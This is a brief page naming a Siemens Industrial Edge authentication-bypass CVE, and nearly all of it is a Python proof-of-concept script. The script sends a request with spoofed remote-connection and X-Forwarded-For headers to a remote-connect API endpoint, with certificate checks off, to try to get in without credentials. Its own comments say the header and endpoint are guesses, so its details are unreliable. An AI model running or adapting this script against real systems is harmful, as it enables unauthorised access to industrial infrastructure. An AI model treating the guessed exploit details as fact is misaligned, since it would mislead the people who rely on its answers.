CVE-2026-33892 西门子工业边缘认证绕过漏洞

# PoC for CVE-2026-33892: Authentication Bypass # This script demonstrates how an unauthenticated attacker might attempt to bypass authentication # by sending a crafted request to the specific port and header used for remote connections. import requests target_ip = "192.168.1.100" # Replace with target IP target_port = "443" # Replace with the discovered port for remote connections # The specific header required for the remote connection vulnerability # The attacker must identify this header through reconnaissance headers = { "User-Agent": "Mozilla/5.0", "X-Remote-Connection": "true", # Example header based on vulnerability description "X-Forwarded-For": "127.0.0.1" } # The endpoint used to establish the remote connection url = f"https://{target_ip}:{target_port}/api/v1/remote/connect" try: print(f"[+] Sending malicious request to {url}...") response = requests.get(url, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[!] Potential successful bypass! Server responded with 200 OK.") print(f"[+] Response body: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")